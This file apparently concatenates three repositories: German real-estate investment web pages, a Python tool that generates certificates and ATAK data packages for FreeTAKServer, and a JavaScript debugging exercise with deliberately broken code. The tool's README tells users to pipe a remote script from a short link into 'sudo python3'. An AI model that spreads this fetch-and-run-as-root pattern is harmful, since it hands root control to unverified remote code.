Lage und nochmals Lage. Dies ist zwar eine einfache Eselsbrücke, der zufolge man nur in bevorzugten Gegenden investieren soll, als Investitionskriterium ist sie jedoch grob fahrlässig. Wenn Sie sich nach diesem Ratschlag richten, können Sie sich leicht die Finger verbrennen -­ es stellt nämlich eine Spekulation auf steigende Preise dar. In Toplagen können Sie nur noch von steigenden Immobilienpreisen profitieren, da der zweite essentielle Investitionsfaktor, nämlich der Cashflow, kaum mehr einen Anteil an der Gesamtrendite hat. </p> <p> Und hier kommt <strong>die erste und einzige Formel, wie eine Immobilien-­Investition funktioniert.</strong> </p> <table class="formula"> <tr> <td rowspan="2"> Immobilienrendite = </td> <td> Wertsteigerung </td> <td rowspan="2"> + </td> <td> Mieteinnahmen (Cashflow) </td> </tr> <tr> <td> Kaufpreis </td> <td> Kaufpreis </td> </tr> </table> <p> Für eine ausgeglichene Investitionsstrategie sollten beide Werte in etwa gleich groß sein. Realistisch sind jeweils 3-­4 % zu erreichen. Eine Gesamtrendite von 6‐7% stellt also ein gutes Investment dar. </p> <p> Lassen Sie mich Ihnen eine bessere Eselsbrücke geben: anstelle „Lage, Lage, Lage“ zählt „Strategie, Lage und Preis“. </p> <h3>Strategie</h3> <p> Im Mittelpunkt der Immobilien­‐Investition stehen Sie mit Ihrer Persönlichkeit, Ihren Zielen und Ihren Wünschen. Eine Immobilie muss zu Ihnen passen. Damit meine ich zum Beispiel Ihre Risikoneigung, Ihren Investitionshorizont und Ihr vorhandenes Kapital. In diesem Punkt ist eine persönliche Analyse Ihrer Ziele sehr wichtig, um herauszufinden, was zu Ihnen passt. </p> <h3>Lage</h3> <p> Erst an zweiter Stelle kommt die Lage. Vergessen Sie, was Sie in den Boulevard­‐Medien über Immobilien lesen. In Toplagen steigen zwar die Preise am schnellsten, aber genau dort kommt es am leichtesten zu Spekulationsblasen und Überhitzungen des Marktes. </p> Die Lage entscheidet über die Vermietbarkeit Ihrer Immobilie. Und hier kommt es ganz auf Ihr Gefühl an. Schauen Sie sich nicht nur das Objekt an! Machen Sie einen Spaziergang durch das Stadtviertel. Wer wohnt hier? Welche Läden gibt es? Wo bringe ich meine Kinder zur Schule und wo zum Arzt? Würde ich mich hier als Mieter wohl fühlen? Wenn Sie die letzte Frage mit ja beantwortet haben, wissen Sie, dass es auch einen Mieter geben wird, der ebenfalls so denkt. Während bei der Renditeberechnung Zahlen wichtig sind, kommt es bei der Lage auf Ihr Bauchgefühl an. </p> <h3>Preis</h3> <p> Und zuletzt der Preis. Der Großinvestor <NAME> sagte einmal: „Geld verdienen ist ganz einfach: kauf dir einen Dollar und zahle nur fünfzig Cent dafür.“ Genau so einfach ist das auch bei Immobilien. Nachdem Sie sich Ihrer Strategie bewusst sind und eine Immobilie -­‐ die zu Ihnen passt – in einer guten Lage ausfindig gemacht haben sollten Sie einen vernünftigen Preis dafür zahlen. Nicht mehr und nicht weniger. </p> <p> Der Faktor, der das Risiko am stärksten minimiert, ist ein vernünftiger Preis. Wetten Sie niemals allein darauf, dass irgendjemand Ihre teuer gekaufte Immobilie in der Toplage in der Zukunft noch teurer abkaufen wird. </p> <p> Aber woher wissen Sie nun, was ein guter Preis ist? Ein guter Makler wird Ihnen eine Verkehrswertberechnung vorlegen. Es gibt verschiedene Möglichkeiten, den Wert einer Immobilie zu ermitteln: über den Ertragswert, über den Vergleichswert oder über den Sachwert. Am besten lässt sich der Wert jedoch aus einer Kombination aus den drei genannten Werten ermitteln. </p> <p> Als <strong>Faustformel</strong> sollten Sie in etwa höchstens das 12 bis 17-­‐Fache der Jahres-­‐Nettokaltmiete zahlen. </p> <p> Liegt der Kaufpreis unter dem Wert, ist es ein gutes Geschäft. Wenn nicht, verhandeln Sie! Wenn das nichts hilft, gehen Sie zur nächsten Immobilie. Sie brauchen nicht jeden Deal. Geduld zahlt sich aus! </p> <h2 id="mieteinnahmen">Mieteinnahmen</h2> <p> Sie bekommen vom Mieter monatlich die Bruttomiete überwiesen. Sollten Sie eine Sondereigentumsverwaltung, also einen Manager für Ihre Wohnung eingesetzt haben, läuft die Überweisung über den Manager. </p> <p> Die Höhe der Miete, die sie pro Quadratmeter verlangen können, richtet sich nach den Ausstattungsmerkmalen der Wohnung, wie zum Beispiel ein hochwertiges Badezimmer mit Fenster, ein Balkon oder Parkettboden. Dies sind allesamt Faktoren, die Sie direkt beeinflussen können. Dazu im Gegensatz stehen Dividenden oder Zinsen, die ausschließlich von externen Gegebenheiten abhängen. </p> <p> Weiterhin richtet sich die Miete nach dem Wohndruck. Dies ist ein grundlegendes marktwirtschaftliches Prinzip: Ist die Nachfrage nach Wohnungen in der Umgebung höher als das Angebot, können Sie höhere Mieten verlangen und umgekehrt. Natürlich müssen Sie bestimmte gesetzliche Regelungen bei der Preisfindung einhalten. </p> <h2 id="wertsteigerung">Wertsteigerung</h2> <p> Zusätzlich zu dem offenen Geldzufluss durch Mieteinnahmen, haben Sie einen verdeckten Geldzufluss durch Wertsteigerung Ihrer Immobilie. Der Wertzuwachs stellt den zweiten Teil der Gesamtrendite dar. Während Sie die Rendite durch die Mieteinnahmen berechnen können, lässt sich die Wertsteigerung in der Zukunft nur schätzen. </p> <p> Kurzfristig ist diese bestimmt durch das Zinsumfeld, den Marktzyklus und Spekulationsblasen. Sie sollten mit Immobilien keine kurzfristigen Wetten machen, sondern Sie als langfristige Investitionen betrachten. Denn langfristig ist die Wertsteigerung der Immobilien an die Inflation und die Bevölkerungsentwicklung in der Umgebung gekoppelt. </p> <p> Wer also Geduld mit seinem Investment mitbringt, kann getrost über Schwankungen hinwegsehen und sich über langfristige Gewinne freuen. </p> </div> </div> </div> <?php include_once("template/footer.php"); ?><file_sep>/risiken_bei_immobilien-investitionen.php <?php $page_title = "Roth Immoinvest GmbH"; ?> <?php include_once("template/header.php"); ?> <div class="jumbotron"> <div class="row"> <div class="col-md-10"> <h1 class="slogan">Immobilienkauf leicht gemacht!</h1> <p class="abstract"> Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. </p> </div> </div> </div> <div class="container main-container"> <div class="row"> <div class="col-lg-12"> <h1>Risiken bei Immobilien-Investitionen</h1> <h2>Wie Sie in 3 Schritten Risiken erkennen und minimieren</h2> <p> <q>Das größte Risiko auf Erden laufen die Menschen, die nie das kleinste Risiko eingehen wollen.</q> <NAME> (1872‐1970), brit. Philosoph u. Mathematiker, 1950 Nobelpr. f. Lit. </p> <p> „Immobilien sind mir zu riskant!“ So oder so ähnlich haben Sie diese Aussage bestimmt schon einmal gehört oder vielleicht sogar selbst gesagt. Aber diese Aussage ist schlichtweg falsch! Sie verhindert, dass Sie sich rational mit dem Thema auseinandersetzen. Nicht Immobilien-Investitionen sind riskant, sondern eine unüberlegte Herangehensweise und unvorbereitetes Investitionsverhalten. </p> <p> Als Investor ist es nicht Ihre Aufgabe, wahllos Risiken einzugehen, um Rendite zu erwirtschaften. Nein, sie sollen Risiken verstehen, minimieren und managen! Das ist die Kunst des Investierens. Denn nur wer ein kontrolliertes Restrisiko eingeht, wird am Ende belohnt. </p> <p> Daher möchte ich Ihnen an dieser Stelle die Risiken einer Immobilien-­‐Investition erklären und Ihnen Möglichkeiten aufzeigen, diese zu minimieren. </p> <h2 id="marktzyklen">Marktzyklen</h2> <p> Als erstes wäre da der Marktzyklus. Die amerikanische Immobilienblase ist ein gutes Beispiel, was passiert, wenn man den Marktzyklus nicht beachtet. Die Krise konnte nur entstehen, weil Investoren einerseits das Eigenheim mit einer Geldanlage verwechselten (siehe Kapitel...) und andererseits dachten, dass Immobilien für alle Ewigkeit im Preis steigen würden. So nahmen sie immer neue Kredite auf ihr Haus auf und konnten diese nicht mehr refinanzieren nachdem die Preise sanken. </p> <p> Immobilien haben, wie alles andere in unserer Volkswirtschaft, auch ihren eigenen Marktzyklus. Dieser besteht aus einem Abschwung, Aufschwung und einer Überhitzung. Danach wiederholt sich der Marktzyklus, wobei der langjährige Mittelwert stetig steigt und der aktuelle Preis um diesen Mittelwert schwankt. </p> <p> Um zu wissen, wann es sinnvoll ist zu kaufen oder zu verkaufen, müssen Sie die Preise der Vergangenheit mit denen der Gegenwart vergleichen. Sind die Immobilienpreise stark gestiegen, konstant geblieben oder sogar gefallen? Gibt es Zuwanderung ins Stadtgebiet? Wie entwickeln sich der Wohnungsbestand und die Neubauaktivität? Dabei dürfen Sie nicht den Fehler machen, ganz Deutschland als einen einheitlichen Markt zu betrachten. Während in den Trend-­‐Metropolen wie München, Hamburg oder Berlin bereits erste Anzeichen einer Überhitzung auftreten, geht in anderen Großstädten der Aufschwung gerade erst los. In ländlichen Gebieten gibt es sogar einen Abschwung. </p> <p> Gerade in Leipzig und Dresden ergeben sich sehr interessante Investitionsmöglichkeiten. Zehn Jahre nach der Wiedervereinigung kam es zu einem starken Abschwung, der durch das Auslaufen von Sonderabschreibungsmöglichkeiten bedingt war. Auf diesen folgte eine Konsolidierung mit fast konstanten Immobilienpreisen bis etwa 2009. In den vergangenen drei bis vier Jahren kam es zu einer langsamen Erholung der Preise. Dies hängt mit einem echten Bevölkerungswachstum in diesen Städten zusammen und ist nicht die Folge von Preistreiberei von Großinvestoren. </p> <h2 id="mieter">Mieter</h2> <p> In bestimmten deutschen Fernsehsendern ist es sehr populär, verwahrloste, leerstehende Wohnungen von Mietnomaden oder sogenannte Messie‐Wohnungen zu zeigen. Und wer hat nicht schon von einem Bekannten eines Bekannten gehört, der Probleme mit seinen Mietern hatte? </p> <p> Hier ist es dringend nötig, einmal die Fakten auf den Tisch zu legen: Schätzungen zufolge beziffert sich der jährliche Schaden durch Mietnomaden für die Vermieter in Deutschland auf 200 Mio. €. Setzt man dies ins Verhältnis zum Jahresumsatz der Immobilienwirtschaft von 400 Mrd. €, so kommt man auf eine Schadenswahrscheinlichkeit von 1:2000. </p> <p> Durch einen Mietnomaden 5000 € zu verlieren ist somit genauso wahrscheinlich, wie von einem Blitz erschlagen zu werden. </p> <p> Nichtsdestotrotz möchten wir Ihnen zeigen, wie Sie Ihr Risiko noch weiter minimieren können: </p> <ul> <li>Kaufen Sie nur Wohnungen, in denen bereits ein Mieter ist. So können Sie leicht dessen Zahlungsmoral prüfen.</li> <li>Sollten Sie eine Wohnung neu vermieten müssen, so lassen Sie sich eine Vorvermieter-­ sowie eine Schufa‐Auskunft geben.</li> </ul> <p> Von sogenannten Mietnomaden­‐Versicherungen, wie sie einige Anbieter verkaufen wollen, raten wir ab. Sie sind, bezogen auf das versicherte Risiko, schlichtweg zu teuer. Für einen Versicherungsschutz von 20.000 € Schadensersatz zahlen Sie bis zu 30 % Ihres Reingewinns. Dies lohnt sich nur für sehr konservative Anleger. </p> <em> Gerne beraten wir Sie ausführlicher zu diesem Thema. </em> <em> Selbstverständlich erledigen wir für Sie als Bestandskunde gegebenenfalls die Neuvermietung Ihrer Immobilie. Dabei können wir auf Vermieter-­Datenbanken zurückgreifen und so zum Beispiel rechtskräftige Urteile sowie wohnungswirtschaftliche Titel gegen potenzielle Mieter prüfen. </em> <h2 id="objekt">Objekt</h2> <p> Wer hat nicht schon davon gehört... Schimmel im Keller, Hausschwamm im Gebälk und Pfusch am Bau. Mängel am Objekt können sehr schnell sehr teuer werden. Aber hier kommt die gute Nachricht: anders als Marktzyklen, Zinsumfeld und Lage können Sie Risiken am Objekt selbst minimieren oder sogar ganz ausschalten. </p> <p> Während Sie einige kontrollierte Risiken, wie zum Beispiel die wirtschaftliche Entwicklung, in der Zukunft eingehen müssen, gilt dies nicht für Mängel am Objekt. Hier gilt es, keine Risiken zu akzeptieren. Idealerweise sollten Sie die Begehung der Immobilie immer zusammen mit einem Fachmann ihres Vertrauens durchführen, der Ihnen garantieren kann, dass die Immobilie mängelfrei ist. </p> <em> Gerne bieten wir Ihnen zu jedem unserer Objekte eine Begehung mit einem unabhängigen und staatlich geprüften Bausachverständigen an. </em> </div> </div> </div> <?php include_once("template/footer.php"); ?>
1a2e4de943fbc51b0c6110c136a3a5e57ae982c9
[ "PHP" ]
5
PHP
klonkiponk/Test1
337c9f37997076ef9f17c78d8483047515c6e8db
ac3560f926e8de1804a448abe1eab4859822ea3e
refs/heads/main
<repo_name>nconder/ATAK-Certs<file_sep>/atakofthecerts.py #!/usr/bin/python import subprocess try: from OpenSSL import crypto except ImportError: subprocess.run(["pip3", "install", "pyopenssl"], capture_output=True) from OpenSSL import crypto import os import getopt import sys import random from shutil import copyfile import uuid from jinja2 import Template import socket import zipfile import shutil def generate_zip(server_address: str = None, server_filename: str = "pubserver.p12", user_filename: str = "user.p12") -> None: """ A Function to generate a Client connection Data Package (DP) from a server and user p12 file in the current working directory. :param server_address: A string based ip address or FQDN that clients will use to connect to the server :param server_filename: The filename of the server p12 file default is pubserver.p12 :param user_filename: The filename of the server p12 file default is user.p12 """ pref_file_template = Template("""<?xml version='1.0' standalone='yes'?> <preferences> <preference version="1" name="cot_streams"> <entry key="count" class="class java.lang.Integer">1</entry> <entry key="description0" class="class java.lang.String">FreeTAKServer_{{ server }}</entry> <entry key="enabled0" class="class java.lang.Boolean">true</entry> <entry key="connectString0" class="class java.lang.String">{{ server }}:8089:ssl</entry> </preference> <preference version="1" name="com.atakmap.app_preferences"> <entry key="displayServerConnectionWidget" class="class java.lang.Boolean">true</entry> <entry key="caLocation" class="class java.lang.String">/storage/emulated/0/atak/cert/{{ server_filename }}</entry> <entry key="certificateLocation" class="class java.lang.String">/storage/emulated/0/atak/cert/{{ user_filename }}</entry> </preference> </preferences> """) manifest_file_template = Template("""<MissionPackageManifest version="2"> <Configuration> <Parameter name="uid" value="{{ uid }}"/> <Parameter name="name" value="FreeTAKServer_{{ server }}"/> <Parameter name="onReceiveDelete" value="true"/> </Configuration> <Contents> <Content ignore="false" zipEntry="{{ folder }}/fts.pref"/> <Content ignore="false" zipEntry="{{ folder }}/{{ server_filename }}"/> <Content ignore="false" zipEntry="{{ folder }}/{{ user_filename }}"/> </Contents> </MissionPackageManifest> """) username = user_filename[:-4] random_id = uuid.uuid4() folder = "5c2bfcae3d98c9f4d262172df99ebac5" if server_address is None: hostname = socket.gethostname() server_address = socket.gethostbyname(hostname) pref = pref_file_template.render(server=server_address, server_filename=server_filename, user_filename=user_filename) man = manifest_file_template.render(uid=random_id, server=server_address, server_filename=server_filename, user_filename=user_filename, folder=folder) if not os.path.exists("./" + folder): os.makedirs("./" + folder) if not os.path.exists("./MANIFEST"): os.makedirs("./MANIFEST") with open('./' + folder + '/fts.pref', 'w') as pref_file: pref_file.write(pref) with open('./MANIFEST/manifest.xml', 'w') as manifest_file: manifest_file.write(man) print("Generating Data Package: " + username + ".zip") copyfile("./" + server_filename, "./" + folder + "/" + server_filename) copyfile("./" + user_filename, "./" + folder + "/" + user_filename) zipf = zipfile.ZipFile(username + '.zip', 'w', zipfile.ZIP_DEFLATED) for root, dirs, files in os.walk('./' + folder): for file in files: zipf.write(os.path.join(root, file)) for root, dirs, files in os.walk('./MANIFEST'): for file in files: zipf.write(os.path.join(root, file)) zipf.close() shutil.rmtree("./MANIFEST") shutil.rmtree("./" + folder) class AtakOfTheCerts: def __init__(self, pwd: str = "<PASSWORD>") -> None: """ :param pwd: String based password used to secure the p12 files generated, defaults to <PASSWORD> """ self.key = crypto.PKey() self.CERTPWD = pwd self.cakeypath = f"./ca.key" self.capempath = f"./ca.pem" def __enter__(self): return self def __exit__(self, exc_type, exc_val, exc_tb): return None def generate_ca(self) -> None: """ Generate a CA certificate """ if not os.path.exists(self.cakeypath): print("Cannot find CA locally so generating one") ca_key = crypto.PKey() ca_key.generate_key(crypto.TYPE_RSA, 2048) cert = crypto.X509() cert.get_subject().CN = "CA" cert.set_serial_number(0) cert.set_version(2) cert.gmtime_adj_notBefore(0) cert.gmtime_adj_notAfter(31536000) cert.set_issuer(cert.get_subject()) cert.add_extensions([crypto.X509Extension(b'basicConstraints', False, b'CA:TRUE'), crypto.X509Extension(b'keyUsage', False, b'keyCertSign, cRLSign')]) cert.set_pubkey(ca_key) cert.sign(ca_key, "sha256") f = open(self.cakeypath, "wb") f.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, ca_key)) f.close() print("CA key Stored Here: " + self.cakeypath) f = open(self.capempath, "wb") f.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert)) f.close() print("CA pem Stored Here: " + self.capempath) else: print("CA found locally, not generating a new one") def _generate_key(self, keypath: str) -> None: """ Generate a new certificate key :param keypath: String based filepath to place new key, this should have a .key file extention """ if os.path.exists(keypath): print("Certificate file exists, aborting.") print(keypath) sys.exit(1) else: print("Generating Key...") self.key.generate_key(crypto.TYPE_RSA, 2048) f = open(keypath, "wb") f.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, self.key)) f.close() print("Key Stored Here: " + keypath) def _generate_certificate(self, cn: str, pempath: str, p12path: str) -> None: """ Create a certificate and p12 file :param cn: Common Name for certificate :param pempath: String filepath for the pem file created :param p12path: String filepath for the p12 file created """ cakey = crypto.load_privatekey(crypto.FILETYPE_PEM, open(self.cakeypath).read()) capem = crypto.load_certificate(crypto.FILETYPE_PEM, open(self.capempath, 'rb').read()) serialnumber = random.getrandbits(64) chain = (capem,) cert = crypto.X509() cert.get_subject().CN = cn cert.set_serial_number(serialnumber) cert.gmtime_adj_notBefore(0) cert.gmtime_adj_notAfter(315360000) cert.set_issuer(capem.get_subject()) cert.set_pubkey(self.key) cert.set_version(2) cert.sign(cakey, "sha256") p12 = crypto.PKCS12() p12.set_privatekey(self.key) p12.set_certificate(cert) p12.set_ca_certificates(tuple(chain)) p12data = p12.export(passphrase=bytes(self.CERTPWD, encoding='UTF-8')) with open(p12path, 'wb') as p12file: p12file.write(p12data) print("P12 Stored Here: " + p12path) if os.path.exists(pempath): print("Certificate File Exists, aborting.") print(pempath) else: f = open(pempath, "wb") f.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert)) f.close() print("PEM Stored Here: " + pempath) def bake(self, cn: str, cert: str = "user") -> None: """ Wrapper for creating certificate and all files needed :param cn: Common Name of the the certificate :param cert: Type of cert being created "user" or "server" """ keypath = f"./{cn}.key" pempath = f"./{cn}.pem" p12path = f"./{cn}.p12" self._generate_key(keypath) self._generate_certificate(cn, pempath, p12path) if cert.lower() == "server": copyfile(keypath, keypath + ".unencrypted") @staticmethod def copy_server_certs(server_name: str = "pubserver") -> None: """ copy all the server files with of a given name to the FTS server cert location :param server_name: Name of the server/IP address that was used when generating the certificate """ python37_fts_path = "/usr/local/lib/python3.7/dist-packages/FreeTAKServer" python38_fts_path = "/usr/local/lib/python3.8/dist-packages/FreeTAKServer" if os.path.exists(python37_fts_path): dest = python37_fts_path elif os.path.exists(python38_fts_path): dest = python38_fts_path else: print("Cannot Find FreeTAKServer install location, cannot copy") return None if not os.path.exists(dest + "/Certs"): os.makedirs(dest + "/Certs") print("Copying ./" + server_name + ".key to :" + dest + "/Certs" + "/pubserver.key") copyfile("./" + server_name + ".key", dest + "/Certs" + "/pubserver.key") print("Done") print("Copying ./" + server_name + ".key to :" + dest + "/Certs" + "/pubserver.key.unencrypted") copyfile("./" + server_name + ".key", dest + "/Certs" + "/pubserver.key.unencrypted") print("Done") print("Copying ./" + server_name + ".pem to :" + dest + "/Certs" + "/pubserver.pem") copyfile("./" + server_name + ".pem", dest + "/Certs" + "/pubserver.pem") print("Done") print("Copying ./ca.pem to :" + dest + "/Certs" + "/ca.pem") copyfile("./ca.pem", dest + "/Certs" + "/ca.pem") print("Done") def generate_auto_certs(self, ip: str, copy: bool = False) -> None: """ Generate the basic files needed for a new install of FTS :param ip: A string based ip address or FQDN that clients will use to connect to the server :param copy: Whether to copy server files to FTS expected locations """ self.bake("pubserver", "server") self.bake("user", "user") if copy is True: self.copy_server_certs() generate_zip(server_address=ip) if __name__ == '__main__': VERSION = "0.3.5" help_txt = "This Python script is to be used to generate the certificate files needed for \n" \ "FTS Version 1.3 and above to allow for SSL/TLS connections between Server and \n" \ "Client.\n\n" \ "This script works in the current working directory (the folder you are \n" \ "currently in)\n\n" \ "The .p12 files generated will need to be copied to ATAK clients\n" \ "the default password set on the .p12 files is <PASSWORD>" \ "The Server .key and .pem file will ne needed on the FTS server as per the MainConfig.py\n" \ "The ca.pem is also needed for the MainConfig.py\n" \ "the default password set on the .p12 files is <PASSWORD>, this can be overridden\n\n" \ "Arguments:\n" \ "-h --help : to open help\n" \ "-v --version : to print the version number of the script\n" \ "-p --password : to change the password for the p12 files from the default atakatak\n" \ "-a --automated : to run the script in a headless mode to auto generate ca,server and user certs " \ "for a fresh install\n" \ "-c --copy : Use this in conjunction with -a to copy the server certs needed into the default location for FTS\n" \ "-i --ip : The IP address of the server that clients will be accessing it on\n\n" AUTO = False COPY = False IP = False CERTPWD = "<PASSWORD>" cmd_args = sys.argv arg_list = cmd_args[1:] stort_opts = "avhci:p:" long_opts = ["automated", "version", "help", "copy", "ip", "password"] args, values = getopt.getopt(arg_list, stort_opts, long_opts) for current_arg, current_val in args: if current_arg in ("-h", "--help"): print(help_txt) exit(1) if current_arg in ("-v", "--version"): print(VERSION) exit(1) if current_arg in ("-p", "--password"): CERTPWD = current_val if current_arg in ("-a", "--automated"): AUTO = True if current_arg in ("-c", "--copy"): COPY = True if current_arg in ("-i", "--ip"): IP = current_val with AtakOfTheCerts() as aotc: aotc.generate_ca() if AUTO: if IP is False: IP = str(input("Enter IP address or FQDN that clients will use to connect to FTS: ")) with AtakOfTheCerts() as aotc: aotc.generate_auto_certs(copy=COPY, ip=IP) else: server_p12 = None users_p12 = [] server_question = input("Would you like to generate a server certificate? y/n ") if server_question.lower() == "y": with AtakOfTheCerts(CERTPWD) as aotc: IP = str(input("Enter IP address or FQDN that clients will use to connect to FTS: ")) aotc.bake(cn=IP, cert="server") server_p12 = "./" + IP + ".p12" copy_question = input("Would you like to copy the server certificate files where needed for FTS? y/n ") if server_question.lower() == "y": aotc.copy_server_certs(server_name=IP) user_question = input("Would you like to generate a user certificate? y/n ") if user_question.lower() == "y": while True: with AtakOfTheCerts(CERTPWD) as aotc: cn = input("Username: ") if len(cn) == 0: break aotc.bake(cn, cert="user") users_p12.append("./" + cn + ".p12") cont = input("Generate another? y/n ") if cont.lower() != "y": break generate_zip_question = input("Would you like to generate Data Packages for each user just created? y/n ") if generate_zip_question.lower() == "y": while server_p12 is None: server_p12 = input("Enter path to server p12 file e.g ./pubserver.p12 : ") while IP is False: IP = str(input("Enter IP address or FQDN that clients will use to connect to FTS: ")) for user in users_p12: generate_zip(server_address=IP, server_filename=server_p12, user_filename=user) <file_sep>/_external_reference_examples.py import atakofthecerts # Generate initial certs and copy the serve certs to the correct directory # This is the same as running "sudo python3 atackofthecerts.py -a -c -i 192.168.1.100" with atakofthecerts.AtakOfTheCerts() as aotc: aotc.generate_ca() aotc.generate_auto_certs(ip="192.168.1.100", copy=True) # Generate a server certificate for a server at 192.168.1.100, a user certificate for the username test_user # then generates a zip based ATAK data package for client connection with atakofthecerts.AtakOfTheCerts() as aotc: aotc.generate_ca() aotc.bake(cn="192.168.1.100", cert="server") aotc.bake(cn="test_user", cert="user") atakofthecerts.generate_zip(server_address="192.168.1.100", server_filename="pubserver.p12", user_filename="user.p12") if __name__ == '__main__': print("Do not run this file, it just contains and example") exit(1) <file_sep>/README.md # ATAK-Certs Tool for creating Certificate files and Client Data Packages for FTS ###### If you are looking for the FreeTAKServer-Installer Script see [here](https://github.com/lennisthemenace/FreeTAKServer-Installer) ### Command-Line Arguments `-h` `--help` : to open help `-v` `--version` : to print the version number of the script `-p` `--password` : to change the password for the p12 files from the default atakatak `-a` `--automated` : to run the script in a headless mode to auto generate ca,server and user certs for a fresh install `-c` `--copy` : Use this in conjunction with `-a` to copy the server certs needed into the default location for FTS, if this is used skip step 5 in How to `-i` `--ip` : The IP address of the server that clients will be accessing it on ## How To ### Step 1: Connect you your FTS instance via SSH, For this I suggest using MobaXterm found here https://mobaxterm.mobatek.net/ This is great because it opens an SFTP session to the server too needed for copying files from the server. ### Step 2: Make sure PyOpenSSL is installed `sudo python3 -m pip install pyopenssl` ### Step 3: Run script in either Headless or Interactive mode: -**Headless** (recommended for a new install of FTS, change the ip address for the address clients will use to connect, skip step 5 if you use this option): `curl -L https://git.io/JL9DP | sudo python3 - -a -c -i 192.168.1.100` -**Interactive** (useful if you need to add more certs to en existing setup) `curl -L https://git.io/JL9DP | sudo python3 -` If you run the script interactive, just follow the prompts ### Step 4: Copy the server and client p12 files, or the Data package zip file from the server to TAK devices, These can be easily dragged a dropped from the SFTP session on the left side of MobaXterm ### Step 5: ###### Skip if you ran the script in headless mode or you answered "y" to "Would you like to copy the server certificate files where needed for FTS?" Update the MainConfig.py file to point at the certificates just generated in the directory you were in when running step 3 keyDir = The pubserver.key file or whatever you named your sever pemDir = The pubserver.crt file or whatever you named your sever unencryptedKey = The pubserver.key file or whatever you named your sever CA = The ca.crt file Password = default password for this is <PASSWORD> but if you changed the password with the -p flag, use that password
ae7bff325fc93d0df0ef90950826701cfa09c2de
[ "Markdown", "Python" ]
3
Python
nconder/ATAK-Certs
f6eb017db996e11f203537d11fff9ac42fcdafd2
86b146563b86e76876c6a6df1ae64abf382fb416
refs/heads/master
<file_sep>var btn = document.getElementById("get-records"); btn.addEventListener('click', buttonHandler()); function buttonHandler () { console.log("You have clicked"); toggleButton(false); getRecords(); } function toggleButton (loaded) { // fix this method to change the button text this.innerHTML = loaded ? "Get next" : "Loading..."; this.classList.ontoggle("button-not-loading"); this.classList.ontoggle("button-loading"); } function getRecords () { // getting the IDs of the records to fetch is a synchronous operation // you don't need to change the next call, it should return the IDs var ids = Server.getIds(); // getting each corresponding record is an async operation // you need to make sure the list is not rendered until we have all the records! // you can get a SINGLE record by calling Server.getRecord(recordId, callbackFunction) // callbackFunction takes 2 parameters, error and data // the invocation will look like this Server.getRecord(recordId, function (error, data) { // if the fetch is unsuccessful the callback function is invoked with the error only // if the fetch is successful the callback is invoked with error set to null, and data will holds the response (i.e. the record you wanted to retrieve) }); // the tricky thing (and what we are assessing) is how to wait for ALL the callbacks to complete before you process the responses? // HINT - you know how many times you need to call Server.getRecord before you do it... // ...meaning that you have a way of tracking how many have "called back" // when you have all the records, call processRecords as follows processRecords(allTheRecords); } function processRecords (records) { toggleButton(true); var sortedRecords = sortRecords(records); var html = ""; var tr; sortedRecords.forEach(function (index, value) { tr = ""; tr += "<tr>" + "<td>" + value.date + "</td>" + "<td>" + value.name + "</td>" + "<td>" + value.natInsNumber + "</td>" + "<td>" + value.hoursWorked + "</td>" + "<td>" + value.hourlyRate + "</td>" + "<td>" + (value.hoursWorked * value.hourlyRate) + "</td>" + "</tr>"; html += tr; }); document.getElementById("results-body").innerHTML = html; addTotals(sortedRecords); } function sortRecords (records) { var sorted = records; // you get brownie points for sorting the results in date order, most recent last return sorted; } function addTotals (records) { var hours = 0; var paid = 0; // you get brownie points for fixing the total hours records.forEach(function (value, index) { hours += value.hoursWorked; paid += (value.hoursWorked * value.hourlyRate); }); document.getElementById("totals-annot").innerHTML = "TOTALS"; document.getElementById("totals-hours").innerHTML = hours; document.getElementById("totals-paid").innerHTML = paid; } <file_sep>var btn = document.getElementById("get-records"); btn.addEventListener('click', buttonHandler); function buttonHandler () { console.log("You have clicked"); toggleButton(false); getRecords(); } function toggleButton (loaded) { btn.innerHTML = loaded ? "Get next" : "Loading..."; btn.classList.toggle("button-not-loading"); btn.classList.toggle("button-loading"); } function getRecords () { var ids = Server.getIds(); var allTheRecords = []; ids.forEach(function(recordId) { Server.getRecord(recordId, function(error, data) { if (error) { console.log(error); } else { allTheRecords.push(data); if (allTheRecords.length === ids.length) { processRecords(allTheRecords); } } }); });} function processRecords (records) { toggleButton(true); var sortedRecords = sortRecords(records); var html = ""; var tr; sortedRecords.forEach(function (value) { tr = ""; tr += "<tr>" + "<td>" + value.date + "</td>" + "<td>" + value.name + "</td>" + "<td>" + value.natInsNumber + "</td>" + "<td>" + value.hoursWorked + "</td>" + "<td>" + value.hourlyRate + "</td>" + "<td>" + (value.hoursWorked * value.hourlyRate) + "</td>" + "</tr>"; html += tr; }); document.getElementById("results-body").innerHTML = html; addTotals(sortedRecords); } function sortRecords (records) { var sorted = records.sort(function(currentValue, nextValue) { currentValueDate = parseDate(currentValue.date); nextValueDate = parseDate(nextValue.date); return currentValueDate - nextValueDate; }); return sorted; } function parseDate(strDate) { var dateParts = strDate.split("/"); return new Date(dateParts[2], (dateParts[1] -1), dateParts[0]); } function addTotals (records) { var hours = 0; var paid = 0; records.forEach(function (element) { hoursWorked = parseHours(element.hoursWorked); hours += hoursWorked; paid += hoursWorked * element.hourlyRate; }); document.getElementById("totals-annot").innerHTML = "TOTALS"; document.getElementById("totals-hours").innerHTML = hours; document.getElementById("totals-paid").innerHTML = paid; } function parseHours(strHours) { return parseInt(strHours); } <file_sep># Debugging excercise # For this excercise I will fix some broken code. ## What we are looking for ## This excercise is focused on JavaScript. You shouldn't need any libraries or frameworks, just vanilla JS (ECMAScript 5). ## Guidance ## * You will probably benefit from using a debugger. * We recommend using Chrome and Chrome DevTools for this * You won't need to touch any file except for `testfile.js` * You can leave `index.html` alone - any classes / IDs you need are already referenced in `testfile.js` and you shouldn't need to do any extra DOM manipulation * Don't go looking for clues in `server.js` - it's minified and won't help anyway * Use of libraries isn't necessary ## What the app should do ## On running `index.html` in a browser, the app should simply show a list of line items of employee shifts. On pressing the "Get next" button, the app should 1. Change the text and style of the "Get next" button to "Loading..." 2. Synchronously retrieve a random number of record IDs from a "server" (this is simulated and doesn't require an internet connection) 3. Asynchronously retrieve the corresponding records from the "server", only proceeding when all records have been received 4. Sort the records in date order, oldest first 5. Render the records into the table 6. Calculate total hours worked and render 